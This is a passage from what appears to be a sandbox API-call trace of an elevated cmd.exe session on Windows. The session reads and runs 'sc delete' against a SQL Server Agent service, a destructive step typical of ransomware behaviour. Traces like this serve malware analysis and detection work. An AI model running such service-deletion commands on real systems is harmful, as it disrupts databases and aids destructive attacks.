hFindFile=0x259870) returned 1 [0077.040] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.040] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.040] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.040] GetProcessHeap () returned 0x240000 [0077.041] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.041] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.041] GetProcessHeap () returned 0x240000 [0077.041] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0xbe) returned 0x259180 [0077.041] GetProcessHeap () returned 0x240000 [0077.041] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0xbe [0077.041] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete \"SQLAgent$WOLTERSKLUWER\"") returned 1 [0077.042] GetProcessHeap () returned 0x240000 [0077.042] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.042] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.042] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.042] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.042] GetProcessHeap () returned 0x240000 [0077.042] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.042] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.043] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.044] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.044] GetProcessHeap () returned 0x240000 [0077.044] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.044] GetProcessHeap () returned 0x240000 [0077.044] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.044] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete \"SQLAgent$WOLTERSKLUWER\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete \"SQLAgent$WOLTERSKLUWER\"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete \"SQLAgent$WOLTERSKLUWER\"", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x7cc, dwThreadId=0xabc)) returned 1 [0077.048] CloseHandle (hObject=0x54) returned 1 [0077.048] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.048] GetProcessHeap () returned 0x240000 [0077.048] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0077.048] GetEnvironmentStringsW () returned 0x25ba70* [0077.048] GetProcessHeap () returned 0x240000 [0077.048] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.048] FreeEnvironmentStringsW (penv=0x25ba70) returned 1 [0077.048] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.048] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.048] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0077.090] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.090] CloseHandle (hObject=0x50) returned 1 [0077.090] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.090] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.091] GetProcessHeap () returned 0x240000 [0077.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0077.091] GetEnvironmentStringsW () returned 0x261b10* [0077.091] GetProcessHeap () returned 0x240000 [0077.091] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0077.091] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.091] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.091] GetProcessHeap () returned 0x240000 [0077.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0077.091] GetEnvironmentStringsW () returned 0x25ba70* [0077.091] GetProcessHeap () returned 0x240000 [0077.091] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.091] FreeEnvironmentStringsW (penv=0x25ba70) returned 1 [0077.091] GetProcessHeap () returned 0x240000 [0077.091] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.091] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.091] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.092] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.092] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.092] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.092] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.092] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.092] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.092] GetConsoleOutputCP () returned 0x1b5 [0077.092] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.092] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c590 | out: hHeap=0x240000) returned 1 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.093] GetProcessHeap () returned 0x240000 [0077.093] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.093] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.093] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.093] GetFileType (hFile=0x120) returned 0x3 [0077.093] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.093] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.093] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.093] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.093] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.093] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.094] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.094] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.094] GetFileType (hFile=0x120) returned 0x3 [0077.094] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.094] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.094] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.094] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.094] GetFileType (hFile=0xb8) returned 0x3 [0077.094] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.094] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.094] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.094] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.094] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.094] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.094] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.094] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.094] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.094] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.094] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.094] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.094] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.094] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.094] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.095] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.095] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.095] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.095] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.095] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.095] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.095] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.095] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.095] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.095] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.095] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.095] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.095] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.095] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.095] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.095] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.095] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" \"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.095] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.095] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.095] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="\"SQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="MQLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="SLAgent$WOLTERSKLUWER\"\n") returned 1 [0077.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="SAgent$WOLTERSKLUWER\"\n") returned 1 [0077.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="Qgent$WOLTERSKLUWER\"\n") returned 1 [0077.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.096] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Lent$WOLTERSKLUWER\"\n") returned 1 [0077.096] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.096] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.096] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.097] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, 